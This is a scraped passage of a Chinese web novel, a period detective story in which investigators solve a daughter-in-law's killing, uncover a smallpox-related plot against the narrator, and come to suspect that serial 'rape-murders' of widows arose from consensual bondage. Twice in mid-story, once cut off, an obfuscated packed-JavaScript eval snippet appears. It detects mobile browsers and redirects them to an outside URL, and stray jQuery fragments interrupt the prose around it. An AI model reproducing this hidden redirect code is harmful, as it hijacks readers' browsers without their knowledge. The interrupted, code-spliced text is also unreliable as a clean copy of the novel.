谢宁轩寒声问:“你看到了吧?你手掌那一道深深的勒伤,就是当时造成的,对不对?你抓住柳条,试图阻止儿子,但力气不够,还是不敌。最终,桃红还是被勒死了,是不是?” 老卫头默默哭出了声。 “你不是打更呢吗?怎么中间又跑回来了?”浮生问道。 谢宁轩冷哼一声:“打更又如何?他不也是打更中溜回来侵犯了桃红吗?那晚,恐怕他又生歹念,想故技重施吧?” “混蛋,老色鬼!死样子!”卫老太大声咒骂着。 老卫头瞄了妻子一眼,那眼神中,有怨恨,有恐惧,就是没有感情。 是啊,天真痴傻的儿子以为是玩闹,下手没轻没重。可桃红指甲的干净,不同于捆绑的手腕青紫於痕,却清清楚楚的说明了,被勒住脖颈的同时,正有人死死握住了她的手腕,不让她挣扎。 桃红拼死噤声保住的名声,护住的人,却在她濒死时刻,利用痴傻儿子的力气,杀了她。 而老卫头赶回来看到这一幕,只怕心惊肉跳。但阻止未果的他做了什么?帮桃红讨回公道? 并没有。 他将儿媳抛至乱葬岗,像丢弃一块破布。 更有甚者,在官府核查时,他还帮妻子、儿子隐瞒着。所以见到我们登门,他才会着急忙慌的将儿子拖下去,才会看见儿子在我们面前舞动那根柳条时,如此气急败坏。 卫氏夫妇被押下去后,我们几人一时间,都没有说话。 直到猩猩衙差又怯怯提出个问题:“那,二傻叫喊‘猫哭耗子,黄鼠狼给鸡拜年’,又是怎么回事?” 我耸耸肩:“一样也是对父亲的有学有样呗。老卫头憎恶看上儿媳的男人,他能真心感谢窦辉吗?背地里还不知怎样辱骂呢。” 谢宁轩淡淡补充:“我们查访那日,老卫头嘴上说感谢窦辉照顾,可面对盘问,丝毫未替他隐瞒对儿媳的心意,更在之后回答你的问题时,详细介绍了窦辉有多殷勤。很明显,他暗戳戳的,希望能增加窦辉的嫌疑,最好能嫁祸给他。” 浮生听明白了,重重啐了一口:“真不是个东西!” 猩猩衙差缓慢的点头,明显还有疑问:“这事、这事卫氏夫妇做的隐秘,侍郎大人和王小姐,是怎么怀疑到她们身上的?” 因为卫老太自己说的话。 “啊?什么意思?” 隔壁大婶曾说过,桃红每日都会侍奉公婆,早起做饭,从不让家中冷锅冷灶。可卫老太在面对儿媳早起不见后,却说以为儿媳进城采买了。 村里人都知道,她的儿媳许久才去一次,难道她不会诧异,儿媳只字未留就去吗?如果婆媳真的毫无嫌隙,儿媳被害真的与她无关,如此大的异常,她怎么会对官府只字不提? 赵大人感慨叹息,掏出手帕擦着额头的汗:“哎,没想到,真是没想到,第一个死者还真不是一起案子,她竟然……人伦惨剧呐。这二傻,依侍郎看,可该怎么处置呦?” 十二三岁的无民事行为能力人,又兼力大暴力,在这个没有公共部门周济协调的时代,还真不好处理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027000|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢宁轩想了想,也只能吩咐赵大人将其暂扣牢中,待请了上喻,再行处理。 “只是窦辉也无辜,卫家又与连环凶案无关……”猩猩衙差搔搔头,“两次都没抓对人,这采花大盗怎么藏得这么深!又是全无进展……哎!” 浮生瞟一眼同行,清清嗓子:“怎么能叫全无进展?既能确定死者只有两名,更该就此二人深入……” 然而外间忽然响起骚乱,打断了浮生的长篇大论。 一个衙差气喘吁吁的冲进来,骇然大叫:“老爷,不好了!又死了一个!” *** 随着桃红之死的堪破,采花大盗已知的案件被压缩到两起,但没等我们喘口气,他又犯案了。 第三名死者依旧是在村中家中被害,尸体又被带入县城,丢弃到小巷中。 赵大人在得知此事后,极为震撼。 县城小巷中的两具尸体接连被发现,他就意识到了事态的严重性,饶是刑案勘察能力不佳,治理县城多年,也不会毫无手段。 近段时间,他已经采取了种种措施,包括城门守卫人数增加、衙差巡逻班次提高等等,力将县城打造的固若金汤。我们在第一次经过的时候,也确实感受到了。 就这种严密的守卫下,采花大盗还是将尸体运进了县城。 他到底怎么做到的? 谢宁轩闻言也拂袖起身,眼中似有电闪雷鸣。他立即唤浮生,就要安排往案发现场走。 就在这时,已带队住到县中客栈的邓科突然跑了进来。 “王小姐,留在东橘村的人回来了,说是您要找到那位糕点铺子老板娘返回家中了。您看今天要去找她吗?” “回来了?额,可是不行啊,我得先去……” “小姐还需要再去一次东橘村?”猩猩衙差忽地打断了我,“顺路的呀!第三……额,不对,现在应该称呼为第二名死者了。鲍寡妇,就她夫家所在的鲍家村,就在东橘村再往东南二十里。大人和小姐先走访她家的话,从东橘村穿过,也不绕路。” 谢宁轩一听,便朝我点了点头:“好,那便一道去吧,也不耽误那么一会儿。” 当下,我们都想着只是请老板娘再见到我,期冀触景生情能唤起更多回忆,提供更多有关橙橙的线索,这也花费不了多久。 谁知,到了东橘村,老板娘乍认出我来,极其热情。我一个问题还没抛出,她就拉着我上下左右的看,还招呼自家那口子进厨房,非要留我吃个饭。 “真的不用,谢谢您了!”我连忙拒绝,“实在是我一会儿还有事儿……” “那是谁啊?你男人?”老板娘又盯上了谢宁轩,眼睛蹭蹭冒光,“一表人才呀!哎呦,我就瞧着姑娘你气质不一般,真是大户人家的姑娘?你说你那天落水后,多狼狈啊。咱这十村八店也没个药铺,真怕你当日救不回来,得亏老刘头家里备着点草药,否则不得……” 胳膊被老板娘箍着,几番张口也找不到打断的契机,我正无奈,大脑倏的铃声大作。 我打了个激灵,立即拔高了声音:“等一下,您刚说什么?十村八店没个药铺?” “那咋了,咱这几个村子不都这样吗?要看病,去县城啊。”老板娘说的很坦然。 县城……对啊,正因辖区辐射内的村镇没有医馆,都得到县上求医,才能使得东兴号、西元堂百年不衰。 “再往南走呢?”我又问,脑中开始盘旋出一个想法,“是不是村镇都没有医馆,看病唯有去县城?” 老板娘不明所以:“是啊,那又咋了?人家医馆都嫌开在村里,不够糊口。唯有去县里营生,来往人多嘛。咱这家门口,说是有个官道,又不是南北要道,一向走的人少,不在县里开张,不得喝西北风啊!” “每处县城都有医馆?” “哪呀!南边那个县就没有嘛,他们针灸不还得上我们县城吗?西元堂那时候弄得一揽子针灸服务,多受欢迎啊!” 南边那个县就没有……心头一坠,我忽地明白了一件事。 106.冲卡 站在我身侧一直没开口的谢宁轩,也在同一时间“嘶”了一声:“羽书,你是不是想说,当日橙橙选择带你走这条路北上,谋求的或许就是‘失救’?” 他也和我想到了一处。 忐忑减少,我凝重的问:“你说过,南阳、徽州一路的官道,是南北最近、最繁华、走的人最多的官道,一路途径都是大城。那么,医馆、草药供给也应该是最全的,对不对?” 对比医疗情况,这条南北小路医馆少、草药供给也不足。那橙橙刻意带原主选择这条路,恐怕为的就是避开大城的完善医疗保障。 这年头没有科技加持,北上两月全靠马车,原主在金华祖母家,也算是娇生惯养的小姐,不适应、水土不服,出现头疼脑热、伤风感冒,最自然不过了。 只消某次得病时,以找不到医馆为由,就能将原主拖得病死。 但结果却和这个推测相违背,原主还是活蹦乱跳的来到了东橘村。 是我猜错了,还是发生了超出橙橙和幕后黑手计划的意外呢? 还有,天花,这罕见的、莫名发生在原主七个下人身上的天花,我真是怎么想也想不明白。 眼看老板娘正懵逼的瞧瞧我、瞧瞧谢宁轩,我索性向她打听起苗姜村来。 “哎呦,”老板娘一缩脑袋,“你打听那鬼地方做什么?姑娘啊,你可千万不敢靠近啊!” “哦,还在封村?” 回答的是谢宁轩:“不,月前刚刚解封。我还没来及告诉你。” “解封又咋了,那儿已经是死地了!不吉利,晦气呦!姑娘你可别去!” 我右眼皮猛地一跳:“死地,什么意思,人全死了?” 老板娘咂舌:“那可不?迟迟治不好,送进去的郎中都没能活着出来呦!有的一家老小全没了,连个给砌坟上香的人都没了!惨呐。” 老板娘连连摇头,露出十分骇然的神情,看的人后背发凉。 如果当日原主也在茶寮,恐怕也会被关进天花村死去。那我,还能有穿越重生的机会吗? 我打了个冷战,手背旋即感到一阵暖意,是谢宁轩静静牵住了我。 他努力放柔语气,虽然内容还是非常可怖:“苗姜村,今年一月出现的第一个患者,继而发展到全村。那地方虽然据此不远,属地上却属于其他县城管辖,处置还算妥当。二月中就当机立断封村,避免了疫情的扩大。不过,后续的医疗没有跟上,导致了救治的延误。” “嘿,你知道的还挺清楚?”老板娘诧异,旋又叹口气,“哎呀,也是没办法,你刚不是也说了嘛。咱这边不比大城要塞,好大夫不多,名贵药材也少。” “其实太医院得了消息后,拨了六次物资,当地政府也向附近村镇征召郎中,但……” 天花要到1980年才从世界范围内消失,且是因为疫苗的注射。综观古代史,哪怕发生在集中杏林圣手的皇宫,不也死人无数吗?这个结局,在这个时代,除了默哀与感慨,恐怕也没旁的法子了。 “姑娘,你问这干什么呀,你不会是想去那儿转转吧?呦,可千万不能!” 谢宁轩也道:“其实现在去,意义也不大了。我朝疫病的规定是,尸骨、衣物、进食的餐具水杯全部焚烧处理。据我上次看到的消息,苗姜村,村子都被烧光了。毕竟它离京城也不远,处理起来务必谨慎。” 天哪,尸骨无存?怪不得被称为“死地”了。 老板娘又续过话头:“别说现在,当初爆发的时候,附近但凡离得近的,哪怕只是伤风咳嗽,都一律抓进去了!有些倒霉的过路客都没幸免!” “过路客?”我立即问,“外村的人也没有一个活着出来?” “是啊!不死光怎么可能解封?当时还有人冲卡呢,官府怎么能允许!” 冲卡? 我一时没反应过来,还是谢宁轩手劲倏的一紧,挑眉反问:“有人想冲出村口的防守?” 难道是乍然封村,村里好端端没染病的人畏惧恐慌试图逃跑? “哪呀!”没想到,老板娘却否定了我,“封村的时候几乎人人都有了症状了,哪还有半个好人啊?” “那冲卡?”我心下一沉,想到了一种可能性。 果然,老板娘煞有介事的讲起来:“就是我刚说的赶路客嘛,外乡人!口音也听不明白,反正肯定不是这附近村镇的。” 天哪,是他们? 我难掩心口震动:“那然后呢,然后呢?他们出来了吗?” “怎么可能!”老板娘白我一眼,“当时正是严重的时候,官府派了多少衙差捂得严严实实,里三层外三层!弓箭手都来了!谁敢冒头直接就是一箭!我听来我们店里买东西的官府衙役说,当时上头下了死命令的,谁敢放走一个人,就得自己进去!” 后脑一阵冷风吹过,我不禁被这个时代恐怖的疫病防治措施震撼。 “不过呀,还真有强硬的,就是那外村人呗,非要往村口冲,怎么勒令都不听。哎,上回咋说的来着?好像最后射死了俩才平息下来!” 我叫出了声。 谢宁轩眼疾手快扶住了我。 老板娘还在絮叨,“说来也怪,苗姜村又不临着官道,南边不远就是驿站,赶路客咋也不该上那儿借宿。当时也封村了,他们咋还染上天花了呢?我听说他们几个都出现症状了,郎中还没来及给吃药了,几个人都说自个儿好了,是疹子也没了,烧也退了,就嚷嚷自己没事,没得天花,这才跑去冲卡的嘛!” 我站稳了脚步,但心口却彻底乱了:“你说什么?他们没服药,就没了症状?” 老板娘撇撇嘴:“也就是一时的,天花哪能自己好?冲卡被射杀之后,余下几人就被吓住了,老老实实在村里呆着,可不马上又烧起来,疹子又一头一脸了吗?来我店里那衙役形容的,哎呀,老吓人了!不过咋说呢,真要感谢官府处理的够果断,若是误以为他们痊愈,放出来,我们几个村不得全被祸祸了?” 我听到自己的声音都在颤抖:“你说的,这是什么时候的事?就是、就是今年三月发生的?” 老板娘眼睛向上看,回忆着:“好像就是你走之后没多久我听说的吧……” 是他们,就是他们。 我这时候,心里已经有了大概的猜想。 谢宁轩与我一向同频,这一次也没错过,他一走出糕点铺,就沉下了脸:“恐怕他们一开始,得的就不是天花。” 没错。 天花感染,由轻症到重症,中间虽然会出现高烧减退,但皮疹随即爆发,根本不会有让人以为痊愈的误判。也即,老板娘讲述中,外乡人出现同时病好的情况,是不合理的。 结合他们也是同时的、非常急症的发病,这只能说明,一开始,他们感染的就不是天花! “应该是服下了某种能让人出现发烧、长疹子症状的药,很多草药都有这种功效,不罕见。如发生在一般时候,人们也不会多想。” 然当时正值风声鹤唳,局势紧张,官府处置又秉承宁可错杀三千的态度。那么,原主的七个下人在此一道“发病”,被带走,也就符合逻辑了。 所以,当他们被关进天花村,身上被下的药退掉,便出现了所谓的“痊愈”。 他们大惊试图逃跑,其中两人被射杀,其他人便吓得不敢再违抗。可天花村处处弥漫着病毒,简单的飞沫传染,就让余下几人真的染上了天花,也就呈现出“又烧起来”的状态,让人以为还是天花的缘故。 想到这儿,我全身都僵硬了。 橙橙为了除掉原主,不惜以这种方式害死同伴,真可谓狠辣无情。 但更可怕的却是,橙橙怎么会有此谋划?明明她也是一日前才在十里驿知晓前路情况的,怎么可能那么快调配出引发相似症状的药? 既然有这本事,一路上多少机会可以以毒封喉,为何到此处借天花下手? 又为什么不对原主也采用一样的措施,反而最后采用了任她落水这种充满不定数的简易手法? *** 前往鲍家村一路,我一直掀开着马车帘,任冷风扑面吹。 其实今日并非全无进展,但我依旧很气馁。更隐隐觉得不安,似有什么被我误解,以至于总徘徊在迷雾中。 捏了捏眉心,头好痛。 一只干燥温暖的手轻轻覆上手背,谢宁轩放下了窗帘,柔声道:“少吹冷风,小心伤风。羽书,别焦躁,我会一直陪着你的。橙橙和幕后黑手,合你我之力,一定能揪出来。” 我抬眼看他,眸中依旧是谆谆眷恋的柔光。 车厢里忽然就似开了暖气,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我只好没话找话,强压住自己的渴望:“嗯,嗯,那个……诶,我看这次下榻的如归客栈重修装潢了?店里生意还不错,没受上次案件的影响吗?” 猩猩衙差嘿嘿一笑:“咋能不受呢?那事发生,周边人都不敢来我们县城了!还是我们老爷说服魏家,将客栈重修。他又找来做法的、念经的,驱了驱邪,自己还又去住了几天,才让百姓不再膈应。” 我点点头,心中为赵大人点个赞。 这时,我们已经到了鲍寡妇的居所。谢宁轩当即展现刑狱官的职业素养,立即开启了严肃的探案模式。 鲍寡妇较她人不同,孀居一年,遗腹子诞下后,她就一直在夫家内宅中休养。平日里,她也是有丫鬟侍奉的。 每日唯有午休,奶娘和丫鬟带着她襁褓中的儿子去见太太,她所居的独立琅苑才会空出来。 也就是说,采花大盗必须在这个时段潜入,才能一下子控制住鲍寡妇,进而悄无声息犯下罪孽。 谢宁轩环顾一圈鲍家琅苑,指着旁边一道小门问:“这小门临街?” 丫鬟怕我们误解,忙解释道:“嗯,是以前少爷常晚归,才给他开了个门。少爷故去后,少奶奶从未从此出入,也不让奴婢们进出。也就偶尔胭脂水粉送过来,奴婢会从小门这儿拿,可少奶奶每次都强调务必落闩。有一回中午门闩开着,许是奴婢疏忽,少奶奶还把奴婢说了一顿。” 浮生很疑惑:“既然这小门不常开,采花大盗怎么知道的?就不怕冲进来是人家后院,直接被家丁扣下吗?” 案发当天,鲍家就是发现这临街的小门开着,进而发现鲍寡妇不见了,才报案失踪的。同日,她的尸体就被发现弃于县城小巷中。 通过对鲍宅格局的观察,我们发现,其他院墙下的内宅常有下人经过。花园、主宅、前院、下人房……如翻越这些地方的院墙,再摸到琅苑,很难完全避开下人。 也即,采花大盗要么翻越琅苑临街院墙,要么趁这道小门没锁之时进入,侵犯并带走了鲍寡妇。 再结合对她唯有午休时段一人独处的熟悉,似乎说明,采花大盗不是随意选择的受害人,之前有过深入的观察。 可鲍寡妇身在内宅,如何能事先窥探她的习惯?且鲍寡妇与另二受害者,并无交集。那么,挑选受害人的方式又是什么? 实在想不通,我只好再问:“案发那日,鲍寡妇可有什么异常?” 107.尺度微妙 丫鬟想了想:“没什么吧。早起给太太问安,照顾小少爷……” 话音没落,猩猩衙差匆匆走来,禀告曰:“侍郎,鲍家厨房下人说,丢了把菜刀,不知道和少奶奶失踪有无关系。” “菜刀?”我一怔。 但丫鬟跳了起来:“啊,菜刀,在、在啊!是少奶奶拿了!” 我更奇怪了:“她拿菜刀做什么?失踪这日拿的?菜刀现在在哪?” 丫鬟指着身后的屋子:“就在房中啊。嗨,少奶奶不让奴婢往外说,但现在……” “说吧,任何线索提供越多越好。”谢宁轩道。 丫鬟红了脸,偷偷看了他好几眼,说话都打绊子了。 “其实、其实就是,就是,少奶奶厨艺很差,没少被姑嫂揶揄,就想、就想私下练习。奴婢之前撞见一回,还被吓了一跳,以为少奶奶想不开呢!少奶奶解释的时候也挺不好意思的,估计是又怕被笑话,紧张的呦。” 谢宁轩眼光朝我投来,问我怎么看。 但说实话,我没什么想法。 这学习做菜,好像和本案没什么关系。菜刀不是凭空出现的,有出处有下落,死者死因明确,身上虐伤也非菜刀造成。说来说去,关菜刀什么事? 浮生见我二人都没说话,便又询问了一些旁的问题,但收获为零。 蹊跷的是,鲍寡妇之死,除了身处内院这一条,其他作案模式都与另两起一致。 桃红与此案无关,已证明凶手并非首次犯案出现的手法生疏,导致连环凶案有差。也即,凶手一上来就虐待、勒毙、抛尸小巷,毫无过渡。 如此凶残?是什么江洋大盗啊! 谢宁轩抱臂沉思,闻言皱眉曰:“但你不觉得奇怪吗?凶手选择白日作案,还抛尸城内,似乎对犯案后逃脱极为自信。可是,虐杀鲍寡妇是极其冒险的,毕竟鲍家下人不少,一旦发出动静,必难脱身。他为什么不按照另两名死者那般,再选择独居的寡妇?” 我耸耸肩,答不上来。 其实,采花大盗的选择本就很奇怪。 “你刚听到了吗?鲍家还有个未出阁的小姑子,年方二八,水灵灵的!这采花大盗什么毛病,逮着寡妇嚯嚯?难道是什么特殊的癖好?” 谢宁轩刮我一眼:“懂得不少啊?又是听说书的?这种你以后还是少听为妙。” …… 离开鲍家村,按路途远近,我们又赶去了最新发现的死者家。 然而,乏善可陈。 这姓黄的寡妇洁身自好、深居简出,平日里很少与异性接触,全村对她都交口称赞。 她公婆早逝,夫君去后,便一直独居。可家在村子中央,来往村民下地回家总要经过,门前是非一望可知。 家中,除了在床铺上发现少许血迹外,未有旁的发现。我从卧室查到厨房,锅碗瓢盆都翻了个遍,从菜刀摸到灶底灰,唯余失望。 鲍寡妇深宅内人,黄寡妇束身自好,唔,难道采花大盗就好这一口? 可我们来到江寡妇村中,却出现了天翻地覆的变化。 按照死亡的顺序,将桃红排除出本案后,这位江寡妇,便成为采花大盗真正虐杀的第一人。较之后两者不同,她属于高危人群。 说她高危,其一是因她也独居,家在村最外围,篱笆破损,院门不关,很容易避人耳目的潜入。 这里民风淳朴,可能也是她安保如此随意的原因。连个偷鸡摸狗都没有,却不想一朝狼来,直接送命。 其二则是因为,她如先前那位风情万种的文寡妇,没少勾搭男人,名声极差。 隔壁一位大姐就先发表意见:“那就是一狐狸精!她男人死之前,她就不检点了。光我们村,她祸害过多少家?要我说,死了活该,查什么查!” “呵呵呵呵……那上旬,她家中都有什么人出入过?有陌生人吗?” “嗬,那可多了!她家和窑子有什么区别?送菜的老张头,打短工的小李……都是这附近的。哦,对了,大妹子,说到去她家的人,我倒是见了个鬼鬼祟祟的东西!” 我来了兴致,忙问:“什么东西?” “她家斜对面老王那羔子啊!” 我反应了三秒,才意识此东西非彼东西。“额,您的意思是?” 大姐眼睛冒光:“哎呦妹子啊,你是不知道!那老王真不是个东西,婆娘刚死就和那骚货勾搭了,主动给人磨刀、砍柴,又是烧水、做饭的,比伺候他女人还上心。嘿,前一阵倒是被人家甩了!就在她死前一天,我亲眼看见他从那骚货家中出来,还捂着个脸!” “捂着脸?什么意思?江寡妇打他了?” “可不咋的!让他献殷勤,献马蹄上了吧!”大姐幸灾乐祸,“见我盯着他看,还不好意思,假惺惺问我要不要帮忙磨刀。嘁,老娘第二天约了磨刀的,再说,我家男人自己就会磨,要他献宝!” 接下来,大姐又对二人进行了全方位的抨击,有用线索没有,结论倒是下了——“狗男女不得好死”。 得,我们还是问问当事人吧。 当事人老王长相果然猥琐,一见我那眼珠子就滴溜溜地转。见谢宁轩面有愠色,浮生多有眼力见啊,立马上前挡驾。 “老王头,少东张西望!官府问话,有一说一老实回答,听懂了没有!” 老王还偷觑我:“嘿嘿,现在都有女捕快了?” “闭嘴!问什么答什么,少瞎扯!”猩猩衙差也吼一句。 老王缩了缩脖子,不情愿的收回了眼光。 “说!江寡妇前一阵,是不是打过你?” 老王似乎对此事很憋屈,一听马上打开话匣子:“就是呀!那婆娘突然不让我碰也就算了,那天我只是拉了拉她的手,她就动手!官爷您说说,她算是个什么东西,居然对我……” “闭嘴!”浮生打断他的废话,抓住重点,“什么叫‘突然不让你碰了’?” “嗨,”老王嘿嘿一笑,搔搔头,“俺俩这不是有事么。嘿,也就是玩玩。她水性杨花的,谁见了都要勾搭,小人也没打算和她来真的。一两个月前,她突然就不让我碰了,话里话外嫌弃我年纪大了满足不了她,还拿我和别人比!官人你看她这骚不骚!呸,老子还嫌她脏呢,在床上那叫一个浪!妈的,真扫兴。” 浮生看我和谢宁轩都皱了眉,忙喝道:“好好说话,别扯不三不四的东西!” “是是是。”老王一个劲弓腰。 “她那日打你,可是因为你用强了?” 老王直摆手:“没有没有!小人可不敢用强哦!就是摸了一下,摸了一下么。嘿嘿,官爷,你们不知道,那婆娘白的很!那日她又穿个新衣服,红色的,更显……小人心里,嗨,心里痒痒来着。其实、其实也就是摸了一下,她本来也没咋的,小人看到她新衣服还露出个线头挂在胳膊上,刚想揪下来,她就突然变脸了!给小人脸都扇肿了,真他妈是个贼婆娘!” 我听着反感,谢宁轩也有同感,径直打断了老王的咒骂,问猩猩衙差:“案发那日,此人可有不在场证明?” 老王傻傻地盯着谢宁轩,完全没明白“此人”指的是谁。 猩猩衙差点头:“查过了,没有嫌疑。” 好吧,看来这色鬼也与本案无关了。 谢宁轩倒也没失望,又去问老王:“她出事前,村中可有陌生人出入?” 老王一哂:“嗨,啥陌生人,这穷村子,来来往往就是村民。要不就是附近卖菜的大娘,走方的郎中,倒夜香的,打更的,还有……” “打更的?”谢宁轩提高了音量,“可是姓卫的?” “是啊,就老卫头么。” 我心里一跳:“等等,老卫头是白天还是晚上来的?” 老王色迷迷地盯着我的嘴唇:“嘿嘿,嘿嘿,他每晚打更来,白天,嘿嘿,有时候也来嘛。” 谢宁轩侧身跨步,寒声问:“来干什么?” 老王色胆被吓了回去:“这、这,小人哪里晓得。” 谢宁轩耐心耗尽,没再给他好脸。浮生见状,立即将老王赶了出去。回来时却一脸震撼:“好家伙!峰回路转!桃红案中刚刚断了老卫头的□□罪行,没想到他跟这儿还等着呢!” 猩猩衙差也激动的直搓手,大有破案在即的兴奋。 谢宁轩却浇上了一盆冷水:“不,不对,老卫头不可能是采花大盗。” 浮生张嘴惊诧:“为什么?万一他也在另两个村子、在案发时段,都出现过呢?” 谢宁轩指着不远处挂着“酒”的布幡,说道:“这几个村子距离县城有些距离,也不紧邻官道。各村商铺虽有却不全,时有发生前往相邻村中采购物资的情况。还记得吗,桃红案中,村民说桃红很久才出门采买,但是按照四口之家的用量,柴米油盐应 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是,下意识的反应很难伪造。从当时情景看,老卫头的确缺乏体力作案。 何况本案问题还有很多。如将老卫头当作凶手倒推,很多疑点都无法解释。比如,老卫头为什么抛尸入城?自家儿媳都能扔到乱葬岗,那三名死者,干嘛要花费功夫带入城里?又是通过何种方式带进去的? 还有一点,便是作案时间。老卫头是夜里打更人,从他能溜回家侵犯儿媳来看,工作时间相对自由,完全可以趁夜进入被害人家中,为什么要一反常态白日作案? 猩猩衙差听明白了,丧气的塌下肩膀。 “又绕回原点了,哎。”浮生也叹。 “不,不算毫无发现。”谢宁轩看向我,“羽书也察觉到了,是吗?” “嗯。因为这老卫头的出现,其实代表着一种情况,即,村民熟悉的人进入村中作案。也就是说,我们之前盘查仅仅围绕陌生人,或许是狭隘的。” 可即便是熟人,还是无法解释鲍寡妇之死。 老卫头之流或许可以借口到村中采买而不动声色潜入受害人家中,但鲍寡妇的被害,则对作案条件提出了极高的要求。凶手得极其熟悉鲍家内宅情况,并能准确把握午休时间。 这到底是怎么做到的?又有什么人,也能同时出入另两个村不被怀疑呢? 正讨论着,一个衙差骑马赶了过来,原来是猩猩衙差叮嘱,仵作验尸如有发现,务必立即赶来汇报。 谢宁轩接过尸格,先问:“最新发现的黄寡妇尸体,手腕也没有被紧紧的捆住,松弛程度也一样?” “是的大人!” 咦?三个人手腕的绳索都没系紧? 采花大盗又是虐待又是勒毙,从手法看极其狠毒。常理判断,他应该会将受害人紧紧捆着,方能从容作案。为何不系紧? 谢宁轩抱臂沉思,我接过尸格细瞧,越发觉得惊异。 三名死者身上虐伤类型不同。江寡妇遍布鞭子抽打的痕迹;鲍寡妇□□受伤最为严重,撕扯伤口极大,说明那个的过程极其暴力;黄寡妇,则主要是掐痕,密密麻麻,尤以后背和臀部最多。 有桃红前车之鉴,县衙这次也怕并错了案,令仵作详细比对了勒痕,确认致命伤口一致。结合死者身份、抛尸地的选择、口角的剐蹭伤、手腕脚腕的捆绑伤痕,这肯定是连环凶案。 但问题是,采花大盗为什么给每人造成的虐伤,还有所不同? 哦,还有一点,仵作在我发问后这次也关注了最新死者的指甲,一样是干干净净。 奇怪,我们已经知道桃红指甲干净的原因一是她被侵犯后次日主动清洗,二是被勒时她被人按住了手腕。可这三名受害者不存在这种情况,那为什么也没有痕迹? 难道凶手一击得手,直接将受害者捆住,使其毫无反抗、厮打?在勒毙时,因为已经被捆住,所以也无法去扯脖颈上的绳索? 我翻完三页尸格,总觉得蹊跷。脑中回想起在义庄看到的尸体,两具手腕的勒痕明显,青紫严重,却没破皮…… 等等,这尺度有点微妙啊。 恰恰好松弛的麻绳、如猫捉老鼠的从容;白日作案却能不被邻里下人听到;干干净净的指甲…… 这分明,这分明就是…… 108.隐形人 我嚯得站起来,吓了谢宁轩一跳。“怎么了?” “我知道了,我知道了!” 谢宁轩眉头一紧:“什么,你知道什么了?” 脱口而出的前一秒,我倏地心头一坠。 等等,我怎么说啊?谢宁轩会不会又问我哪里知道的?以这个朝代闺阁少女的认知,似乎不该有此涉猎。 “羽书,你怎么了?”谢宁轩惊奇的看着我。 浮生和猩猩衙差也睁大了眼,很是不解。 好在我灵机一动,马上开始胡扯:“哦,我突然想到了一件事,那个,你们知道,我之前不是遇到过土匪嘛,嗯,当时楼里有个姑娘,嗯,就是……”我斟酌着说辞,“土匪没来的时候,我看到有个姑娘身上有伤,没破皮、没流血的伤,我就问她怎么了。你们猜,她咋回答我的?” 三个男人狐疑的盯着我。 我咽了口口水:“她羞涩一笑,还是身旁搂着她的男子说,她喜欢,这舒服。” 猩猩衙差茫然:“喜欢什么?” 浮生只听懂了“舒服”二字,脸又红了。 但谢宁轩脸色变了,久历刑案的他,果然思维开阔,头脑灵光。 他当即就问:“你的意思是不是,这三名受害者,也同那女子一样,喜欢……所以你怀疑她们是……” 我点了点头。 这根本不是什么□□与侵犯,这根本就是一场你情我愿的S////M。 没有破皮流血的伤口,掐痕、鞭打、暴力占有,不都是某种特殊的口味吗?绑住双手双脚的绳索,刻意留出的空间余地,哪里是采花大盗玩什么诡计,分明就是S////M的基本设置啊。 受害人指甲为什么没有血与皮屑,没有反抗痕迹?因为她们自愿挨打,自愿伸手被缚呀。 凶手如何安静作案,竟毫无动静传出?因为每一下“虐待”,都是欢好、情爱的一环!碍于女方的身份,更丝毫不能宣之于众。 想必,最后致命的勒毙,也就发生在情爱的过程中,袭击之突然,令死者根本没反应过来,自然就没有呼救的机会。 所以,凶手也没那么神通广大,会翻门越户、蹿高走低,能知晓鲍家内宅安排。 分明就是鲍寡妇自己约好了时间,打开小门迎进了情郎罢了。只是想不到,这情郎,却要了她的命。 采花大盗,采花大盗。 这个名词实在太局限,总让人想到被侵犯、被强迫的暴行,受害者身上的伤,也就被理所当然认定成了虐伤。 然SM的猜想一出,本案基调将发生变化——凶手,根本不是传统意义上的采花大盗。 而我之前不理解的弃少女而寡妇的选择,也就有了解释。 这本就不是单方面对受害者类别的挑选,凶手能够得手,完全是基于与受害人一样的性癖好。而寡妇群体,对此的需求,显然远高于这个时代未出阁的少女。 换句话说,正是受害者那与众不同的品味,将她们引入了鬼门关。自然,受害者也不是随机挑选的。 为什么两者独居,有一受害者却身居内宅?因为凶手也没得选啊。 我想到了江寡妇。老王口中那比自己有力之人,恐怕就是这个凶手。江寡妇为了他抛下老王,自然也有同样x癖更和谐的原因。 她那日为何突然动怒,打了老王?结合她的尸格,我也猜到了。 老王看到她穿着新的红衣服,便以为她白皙胳膊上露出的红线头是衣服上的。其实不然,那根本不是线,而是伤。是上次玩闹尚未褪下的抽打红痕。 这种推论,也能解释另一疑点,便是手法的熟络。 凶手并非筹谋许久、穷凶极恶,他之所以一上来就虐杀、勒毙毫无过渡,毫无第一次作案的手忙脚乱,其实是因为这种“虐待”实属你情我愿、水到渠成,并非杀心的体现。 当然,如此推测,仍有几个疑点无法解决。 第一,凶手是怎么和这三名受害者联络上的?江寡妇就不提了,本就滥情,可黄寡妇与身在内宅的鲍寡妇,怎么就与凶手有了欢爱的默契?鲍家为何完全不察? 第二,凶手和三名受害人玩的好好的,彼此你情我愿,为何突然杀人?就算玩弄中失手弄死一个,不至于接连弄死三个吧?这分明是故意为之。 可杀人动机是什么? 第三就还是老问题,为什么要抛尸城里,以及如何做到了。 我这厢思索着,谢宁轩也一直没有说话。 我偷偷觑他面色,见他正微微垂着眼帘,抱臂踱步,左手手指轻轻、有节奏的敲击着臂膀,显然正将所有细节和我的推测匹配,看看能不能站得住脚。 半晌,他停下了脚步,旋起浅浅的梨涡,眼眸深深:“羽书,你真的好厉害。无意中的见闻,都能联想到。” 我只得干笑两声。 